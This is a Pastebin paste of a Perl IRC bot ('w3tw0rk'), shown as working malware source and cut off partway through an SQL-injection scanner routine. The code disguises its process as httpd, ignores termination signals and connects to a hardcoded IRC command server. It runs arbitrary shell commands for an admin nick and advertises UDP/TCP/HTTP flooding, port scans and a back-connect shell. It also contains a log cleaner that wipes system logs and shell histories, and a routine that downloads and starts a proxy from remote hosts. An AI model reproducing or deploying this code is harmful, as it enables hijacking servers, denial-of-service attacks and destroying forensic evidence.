Advertisement
Algabe

attack_bot

Jan 6th, 2014
135
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 64.05 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3. ###############################################
  4. # Im not living im just killing time
  5. #  
  6. #                                                              
  7. # radiohead ganja bjork the beatles
  8. #                              
  9. #                                
  10. ###############################################
  11. use IO::Socket::INET;
  12. #use HTTP::Request;
  13. #use LWP::UserAgent;
  14. ##################################################
  15. # Im not living im just killing time
  16. #  
  17. #                                                              
  18. # radiohead ganja bjork the beatles
  19. ##################################################
  20. my $processo = 'usr/sbin/httpd';
  21. my $linas_max='10';
  22. my $sleep='5';
  23. my $cmd="http://h4ck3d.wsnw.net/mic22.txt";
  24. my $id="http://h4ck3d.wsnw.net/mic22.txt";
  25. ############################################
  26. my @adms=("lparch4");
  27. my @canais=("#pruebas");
  28. #Put your channel here
  29. my @nickname = ("r00t-pwd");
  30. my $nick = $nickname[rand scalar @nickname];
  31. #Nickname of bot
  32. my $ircname ='lignux';
  33. chop (my $realname = 'bshell');
  34. #IRC name and Realname
  35. $servidor='96.8.118.126' unless $servidor;
  36. my $porta='6697';
  37. ############################################
  38. $SIG{'INT'} = 'IGNORE';
  39. $SIG{'HUP'} = 'IGNORE';
  40. $SIG{'TERM'} = 'IGNORE';
  41. $SIG{'CHLD'} = 'IGNORE';
  42. $SIG{'PS'} = 'IGNORE';
  43. use IO::Socket;
  44. use Socket;
  45. use IO::Select;
  46. chdir("/");
  47.  
  48. #Connect
  49. $servidor="$ARGV[0]" if $ARGV[0];
  50. $0="$processo"."\0"x16;;
  51. my $pid=fork;
  52. exit if $pid;
  53. die "Masalah fork: $!" unless defined($pid);
  54.  
  55. our %irc_servers;
  56. our %DCC;
  57. my $dcc_sel = new IO::Select->new();
  58. $sel_cliente = IO::Select->new();
  59. sub sendraw {
  60.    if ($#_ == '1') {
  61.       my $socket = $_[0];
  62.       print $socket "$_[1]\n";
  63.  
  64.    } else {
  65.       print $IRC_cur_socket "$_[0]\n";
  66.    }
  67. }
  68.  
  69. sub conectar {
  70.    my $meunick = $_[0];
  71.    my $servidor_con = $_[1];
  72.    my $porta_con = $_[2];
  73.  
  74.    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con",
  75.    PeerPort=>$porta_con) or return(1);
  76.    if (defined($IRC_socket)) {
  77.       $IRC_cur_socket = $IRC_socket;
  78.       $IRC_socket->autoflush(1);
  79.       $sel_cliente->add($IRC_socket);
  80.       $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  81.       $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  82.       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  83.       $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  84.       nick("$meunick");
  85.       sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  86.       sleep 1;
  87.    }
  88. }
  89.  
  90. my $line_temp;
  91. while( 1 ) {
  92.    while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  93.    select(undef, undef, undef, 0.01); #sleeping for a fraction of a second keeps the script from running to 100 cpu usage ^_^
  94.    delete($irc_servers{''}) if (defined($irc_servers{''}));
  95.    my @ready = $sel_cliente->can_read(0);
  96.    next unless(@ready);
  97.    foreach $fh (@ready) {
  98.       $IRC_cur_socket = $fh;
  99.       $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  100.       $nread = sysread($fh, $msg, 4096);
  101.       if ($nread == 0) {
  102.          $sel_cliente->remove($fh);
  103.          $fh->close;
  104.          delete($irc_servers{$fh});
  105.       }
  106.       @lines = split (/\n/, $msg);
  107.       for(my $c=0; $c<= $#lines; $c++) {
  108.          $line = $lines[$c];
  109.          $line=$line_temp.$line if ($line_temp);
  110.          $line_temp='';
  111.          $line =~ s/\r$//;
  112.          unless ($c == $#lines) {
  113.             parse("$line");
  114.          } else {
  115.             if ($#lines == 0) {
  116.                parse("$line");
  117.             } elsif ($lines[$c] =~ /\r$/) {
  118.                parse("$line");
  119.             } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  120.                parse("$line");
  121.             } else {
  122.                $line_temp = $line;
  123.             }
  124.          }
  125.       }
  126.    }
  127. }
  128.  
  129. sub parse {
  130.    my $servarg = shift;
  131.    if ($servarg =~ /^PING \:(.*)/) {
  132.       sendraw("PONG :$1");
  133.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  134.       my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  135.       if ($args =~ /^\001VERSION\001$/) {
  136.          notice("$pn", "\001VERSION mIRC v6.17 w3tw0rk\001");
  137.       }
  138.       if (grep {$_ =~ /^\Q$pn\E$/i } @adms ) {
  139.          if ($onde eq "$meunick"){
  140.             shell("$pn", "$args");
  141.          }
  142. #End of Connect
  143.          if ($args =~ /^(\Q$meunick\E|\!bot)\s+(.*)/ ) {
  144.             my $natrix = $1;
  145.             my $arg = $2;
  146.             if ($arg =~ /^\!(.*)/) {
  147.                ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
  148.             } elsif ($arg =~ /^\@(.*)/) {
  149.                $ondep = $onde;
  150.                $ondep = $pn if $onde eq $meunick;
  151.                bfunc("$ondep","$1");
  152.             } else {
  153.                shell("$onde", "$arg");
  154.             }
  155.          }
  156.       }
  157.    }
  158. ######################### End of prefix
  159.    elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  160.       if (lc($1) eq lc($meunick)) {
  161.          $meunick=$4;
  162.          $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  163.       }
  164.    } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  165.       nick("$meunick|".int rand(999999));
  166.    } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  167.       $meunick = $2;
  168.       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  169.       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  170.       foreach my $canal (@canais) {
  171.          sendraw("JOIN $canal $key");
  172.       }
  173.    }
  174. }
  175.  
  176. sub bfunc {
  177.    my $printl = $_[0];
  178.    my $funcarg = $_[1];
  179.    if (my $pid = fork) {
  180.       waitpid($pid, 0);
  181.    } else {
  182.       if (fork) {
  183.          exit;
  184.       } else {
  185.  
  186.          if ($funcarg =~ /^killme/) {
  187.             sendraw($IRC_cur_socket, "QUIT :");
  188.             $killd = "kill -9 ".fork;
  189.             system (`$killd`);
  190.          }
  191. ######################
  192. #                    Commands                      #
  193. ######################
  194.          if ($funcarg =~ /^commands/) {
  195.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@9-[w3tw0rk B0T Commands List]-14@4] ");
  196.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[w3tbot/Hacking Based]-----14@4] ");
  197.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3multiscan <vuln> <dork>");
  198.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3socks5");
  199.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3sql <vuln> <dork>");
  200.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3portscan <ip>");
  201.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3logcleaner");
  202.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3sendmail <subject> <sender> <recipient> <message>");
  203.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3system");
  204.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3cleartmp");
  205.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3rootable");
  206.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3nmap <ip> <beginport> <endport>");
  207.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3back <ip><port>");  
  208.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3linuxhelp");
  209.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3cd tmp:. | for example");
  210.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Advisory/New Based]-----14@4] ");
  211.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3packetstorm");
  212.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3milw0rm");
  213.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[DDos Based]-----14@4] ");
  214.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3udpflood <host> <packet size> <time>");
  215.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3tcpflood <host> <port> <packet size> <time>");
  216.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3httpflood <host> <time>");
  217.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3sqlflood <host> <time>");
  218.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[IRC Based]-----14@4] ");
  219.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3killme");  
  220.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3join #channel");  
  221.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3part #channel");
  222.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3reset");
  223.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3voice <who> ");
  224.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3owner <who> ");
  225.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3deowner <who> ");
  226.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3devoice <who> ");
  227.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3halfop <who> ");
  228.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3dehalfop <who> ");
  229.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3op <who> ");
  230.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3deop <who> ");
  231.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Flooding Based]-----14@4] ");
  232.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3msgflood <who> ");
  233.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3dccflood <who> ");
  234.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3ctcpflood <who> ");
  235.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3noticeflood <who> ");
  236.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3channelflood");
  237.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3maxiflood <who> ");
  238. }
  239.  
  240.          if ($funcarg =~ /^linuxhelp/) {
  241.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Linux Help]-----14@4] ");
  242.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Dir where you are : pwd");
  243.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Start a Perl file : perl file.pl");
  244.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Go back from dir : cd ..");
  245.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Force to Remove a file/dir : rm -rf file/dir;ls -la");
  246.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Show all files/dir with permissions : ls -lia");
  247.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Find config.inc.php files : find / -type f -name config.inc.php");
  248.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Find all writable folders and files : find / -perm -2 -ls");
  249.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Find all .htpasswd files : find / -type f -name .htpasswd");
  250.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Find all service.pwd files : find / -type f -name service.pwd");
  251.          }
  252.          
  253.          if ($funcarg =~ /^help/) {
  254.              sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Help Commands]-----14@4] ");
  255.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3flooding - For IRC Flooding Help");
  256.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3irc - For IRC Bot Command Help ");
  257.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3ddos - For DDos Command Help");
  258.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3news - For Security News Command Help ");
  259.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3hacking - For Hacking Command Help");
  260.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3linuxhelp - For Linux Help");
  261.          }
  262.  
  263.          if ($funcarg =~ /^flooding/) {
  264.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Flooding Based]-----14@4] ");
  265.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3msgflood <who> ");
  266.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3dccflood <who> ");
  267.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3ctcpflood <who> ");
  268.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3noticeflood <who> ");
  269.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3channelflood");
  270.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3maxiflood <who> ");
  271.          }
  272.          
  273.          if ($funcarg =~ /^irc/) {
  274.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[IRC Commands]-----14@12] ");
  275.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3voice <who> ");
  276.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3owner <who> ");
  277.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3deowner <who> ");
  278.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3devoice <who> ");
  279.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3halfop <who> ");
  280.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3dehalfop <who> ");
  281.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3op <who> ");
  282.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3deop <who> ");
  283.          }  
  284.          
  285.          if ($funcarg =~ /^ddos/) {
  286.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[Ddos Commands]-----14@12] ");
  287.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3udpflood <host> <packet size> <time>");
  288.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3tcpflood <host> <port> <packet size> <time>");
  289.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3httpflood <host> <time>");
  290.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3sqlflood <host> <time>");
  291.          }  
  292.  
  293.          if ($funcarg =~ /^news/) {
  294.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[News Commands]-----14@12] ");
  295.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3packetstorm");
  296.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3milw0rm");
  297.          }  
  298.  
  299.          if ($funcarg =~ /^hacking/) {
  300.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[Hacking Commands]-----14@12] ");
  301.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3multiscan <vuln> <dork>");
  302.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3socks5");
  303.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3portscan <ip>");
  304.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3logcleaner");
  305.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3sendmail <subject> <sender> <recipient> <message>");
  306.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3system");
  307.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3cleartmp");
  308.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3rootable");
  309.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3nmap <ip> <beginport> <endport>");
  310.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3back <ip><port>");  
  311.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3linuxhelp");
  312.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3cd tmp:. | for example");
  313.          }                  
  314. ######################
  315. #   End of  Help     #
  316. ######################
  317. ######################
  318. #     Commands       #
  319. ######################
  320.          if ($funcarg =~ /^system/) {
  321.             $uname=`uname -a`;
  322.             $uptime=`uptime`;
  323.             $ownd=`pwd`;
  324.             $distro=`cat /etc/issue`;
  325.             $id=`id`;
  326.             $un=`uname -sro`;
  327.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Info BOT : 7 Servidor :Hiden : 6667");
  328.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Uname -a     : 7 $uname");
  329.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Uptime       : 7 $uptime");
  330.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Own Prosses  : 7 $processo");
  331.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12ID           : 7 $id");
  332.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Own Dir      : 7 $ownd");
  333.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12OS           : 7 $distro");
  334.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Owner        : 7 fuck");
  335.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Channel      : 7 #berau");
  336.          }
  337.  
  338.          if ($funcarg =~ /^milw0rm/) {
  339.             my @ltt=();
  340.             my @bug=();
  341.             my $x;
  342.             my $page="";
  343.             my $socke = IO::Socket::INET->new(PeerAddr=>"milw0rm.com",PeerPort=>"80",Proto=>"tcp") or return;
  344.             print $socke "GET http://milw0rm.com/rss.php HTTP/1.0\r\nHost: milw0rm.com\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  345.             my @r = <$socke>;
  346.             $page="@r";
  347.             close($socke);
  348.             while ($page =~  m/<title>(.*)</g){
  349.                $x = $1;
  350.                if ($x =~ /\&lt\;/) {
  351.                   $x =~ s/\&lt\;/</g;
  352.                }        
  353.                if ($x !~ /milw0rm/) {
  354.                   push (@bug,$x);
  355.                }
  356.             }
  357.             while ($page =~  m/<link.*expl.*([0-9]...)</g) {
  358.                if ($1 !~ m/milw0rm.com|exploits|en/){
  359.                   push (@ltt,"http://www.milw0rm.com/exploits/$1 ");
  360.                }
  361.             }
  362.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3milw0rm12:.4|12 Latest exploits :");
  363.             foreach $x (0..(@ltt - 1)) {
  364.                sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3milw0rm12:.4|12  $bug[$x] - $ltt[$x]");
  365.                sleep 1;
  366.             }
  367.          }
  368. ######################
  369. #      Portscan      #
  370. ######################
  371.          if ($funcarg =~ /^portscan (.*)/) {
  372.             my $hostip="$1";
  373.             @portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","10000","19150","27374","31310","33133","33733","55555");
  374.             my (@aberta, %porta_banner);
  375.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Port-Scanner12] Scanning for open ports on ".$1." 12 started .");
  376.             foreach my $porta (@portas)  {
  377.                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto =>
  378.                   'tcp', Timeout => 4);
  379.                if ($scansock) {
  380.                   push (@aberta, $porta);
  381.                   $scansock->close;
  382.                }
  383.             }
  384.  
  385.             if (@aberta) {
  386.                sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Port-Scanner12] Open ports founded: @aberta");
  387.             } else {
  388.                sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Port-Scanner12] No open ports foundend.");
  389.             }
  390.          }
  391.  
  392. ######################
  393. #  End of  Portscan  #
  394. #####################
  395. #####################
  396. # Chk The News from PacketStorm#
  397. ######################
  398. if ($funcarg =~ /^packetstorm/) {
  399.    my $c=0;
  400.    my $x;
  401.    my @ttt=();
  402.    my @ttt1=();
  403.    my $sock = IO::Socket::INET->new(PeerAddr=>"www.packetstormsecurity.org",PeerPort=>"80",Proto=>"tcp") or return;
  404.    print $sock "GET /whatsnew20.xml HTTP/1.0\r\n";
  405.    print $sock "Host: www.packetstormsecurity.org\r\n";
  406.    print $sock "Accept: */*\r\n";
  407.    print $sock "User-Agent: Mozilla/5.0\r\n\r\n";
  408.    my @r = <$sock>;
  409.    $page="@r";
  410.    close($sock);
  411.    while ($page =~  m/<link>(.*)<\/link>/g)
  412.    {
  413.            push(@ttt,$1);
  414.    }
  415.    while ($page =~  m/<description>(.*)<\/description>/g)
  416.    {
  417.           push(@ttt1,$1);
  418.    }
  419.    foreach $x (0..(@ttt - 1))
  420.    {
  421.          sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3PacketStorm12] ".$ttt[$x]." ".$ttt1[$x]."");
  422.       sleep 3;
  423.       $c++;
  424.    }
  425. }
  426. ######################
  427. #Auto Install Socks V5 using Mocks#
  428. ######################
  429. if ($funcarg =~ /^socks5/) {
  430.    sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512]12 Installing Mocks please wait4");
  431.       system 'cd /tmp';
  432.       system 'wget http://switch.dl.sourceforge.net/sourceforge/mocks/mocks-0.0.2.tar.gz';
  433.       system 'tar -xvfz mocks-0.0.2.tar.gz';
  434.       system 'rm -rf mocks-0.0.2.tar.gz';
  435.       system 'cd mocks-0.0.2';
  436.       system 'rm -rf mocks.conf';
  437.       system 'curl -O http://andromeda.covers.de/221/mocks.conf';
  438.       system 'touch mocks.log';
  439.       system 'chmod 0 mocks.log';
  440.          sleep(2);
  441.       system './mocks start';
  442.          sleep(4);
  443.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512]12 Looks like its succesfully installed lets do the last things4   ");
  444.  
  445.       #lets grab ip
  446.       $net = `/sbin/ifconfig | grep 'eth0'`;
  447.       if (length($net))
  448.       {
  449.       $net = `/sbin/ifconfig eth0 | grep 'inet addr'`;
  450.       if (!length($net))
  451.       {
  452.       $net = `/sbin/ifconfig eth0 | grep 'inet end.'`;
  453.       }
  454.          if (length($net))
  455.       {
  456.          chop($net);
  457.          @netip = split/:/,$net;
  458.          $netip[1] =~ /(\d{1,3}).(\d{1,3}).(\d{1,3}).(\d{1,3})/;
  459.          $ip = $1 .".". $2 .".". $3 .".". $4;
  460.          
  461.             #and print it ^^  
  462.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512] Connect here :4 ". $ip .":8787 ");
  463.          }
  464.       else
  465.    {
  466.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512] IP not founded ");
  467.    }
  468. }
  469. else
  470. {
  471.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512] ERROR WHILE INSTALLING MOCKS ");
  472. }
  473. }
  474. ######################
  475. #        Nmap        #
  476. ######################
  477.    if ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/){
  478.          my $hostip="$1";
  479.          my $portstart = "$2";
  480.          my $portend = "$3";
  481.          my (@abertas, %porta_banner);
  482.        sendraw($IRC_cur_socket, "PRIVMSG $printl : Nmap PortScan 12:. 4|  4: $1:. |.: 4Ports 12:.  4 $2-$3");
  483.        foreach my $porta ($portstart..$portend){
  484.                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
  485.     if ($scansock) {
  486.                  push (@abertas, $porta);
  487.                  $scansock->close;
  488.                  if ($xstats){
  489.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Nmap12]  Nmap PortScan :. |Founded  4 $porta"."/Open");
  490.                  }
  491.                }
  492.              }
  493.              if (@abertas) {
  494.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Nmap12]  Nmap PortScan 12:. 4| Complete ");
  495.              } else {
  496.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Nmap12]  Nmap PortScan 12:. 4| No open ports have been founded  13");
  497.              }
  498.           }
  499. ######################
  500. #    End of Nmap     #
  501. ######################
  502. ######################
  503. #    Log Cleaner     #
  504. ######################
  505. if ($funcarg =~ /^logcleaner/) {
  506. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12]  LogCleaner :. |  This process can be long, just wait");
  507.     system 'rm -rf /var/log/lastlog';
  508.     system 'rm -rf /var/log/wtmp';
  509.    system 'rm -rf /etc/wtmp';
  510.    system 'rm -rf /var/run/utmp';
  511.    system 'rm -rf /etc/utmp';
  512.    system 'rm -rf /var/log';
  513.    system 'rm -rf /var/logs';
  514.    system 'rm -rf /var/adm';
  515.    system 'rm -rf /var/apache/log';
  516.    system 'rm -rf /var/apache/logs';
  517.    system 'rm -rf /usr/local/apache/log';
  518.    system 'rm -rf /usr/local/apache/logs';
  519.    system 'rm -rf /root/.bash_history';
  520.    system 'rm -rf /root/.ksh_history';
  521. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12]  LogCleaner :. |  All default log and bash_history files erased");
  522.       sleep 1;
  523. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12]  LogCleaner :. |  Now Erasing the rest of the machine log files");
  524.    system 'find / -name *.bash_history -exec rm -rf {} \;';
  525.    system 'find / -name *.bash_logout -exec rm -rf {} \;';
  526.    system 'find / -name "log*" -exec rm -rf {} \;';
  527.    system 'find / -name *.log -exec rm -rf {} \;';
  528.       sleep 1;
  529. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12]  LogCleaner :. |  Done! All logs erased");
  530.       }
  531. ######################
  532. # End of Log Cleaner #
  533. ######################
  534. ######################
  535. #              SQL SCANNER              #
  536. ######################
  537.  
  538. if ($funcarg =~ /^sql2\s+(.*?)\s+(.*)\s+(\d+)/){
  539.    if (my $pid = fork) {
  540.       waitpid($pid, 0);
  541.    } else {
  542.       if (my $d=fork()) {
  543.          addproc($d,"[SQL2] $2");
  544.          exit;
  545.       } else {
  546.          
  547.          my $bug=$1;
  548.          my $dork=$2;
  549.          my $contatore=0;
  550.          my ($type,$space);
  551.          my %hosts;
  552.          my $columns=$3;
  553.          
  554.                         ### Start Message
  555.                         sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-Scanner12] Starting Scan for 4$bug $dork");
  556.                         sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-Scanner12] Initializing on 45 12Search Engines ");
  557.                         ### End of Start Message
  558.             # Starting Google
  559.             my @glist=&google($dork);
  560.                         sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3SQL-Scanner12] 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  561.                         my @mlist=&msn($dork);
  562.                         my @asklist=&ask($dork);
  563.                         my @allist=&alltheweb($dork);
  564.                         my @aollist=&aol($dork);
  565.                         my @lycos=&lycos($dork);
  566.                         my @ylist=&yahoo($dork);
  567.                         my @mzlist=&mozbot($dork);
  568.                         my @mamalist&mamma($dork);
  569.                         my @hlist=&hotbot($dork);
  570.                         my @altlist=&altavista($dork);
  571.                         my @slist=&search($dork);
  572.                         my @ulist=&uol($dork);
  573.                         my @fireball=&fireball($dork);  
  574.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  575.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 MSN 7[".scalar(@mlist)."7] Sites");
  576.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 AllTheWeb 7[".scalar(@allist)."7] Sites");
  577.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Ask.com 7[".scalar(@asklist)."7] Sites");
  578.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 AOL 7[".scalar(@aollist)."7] Sites");
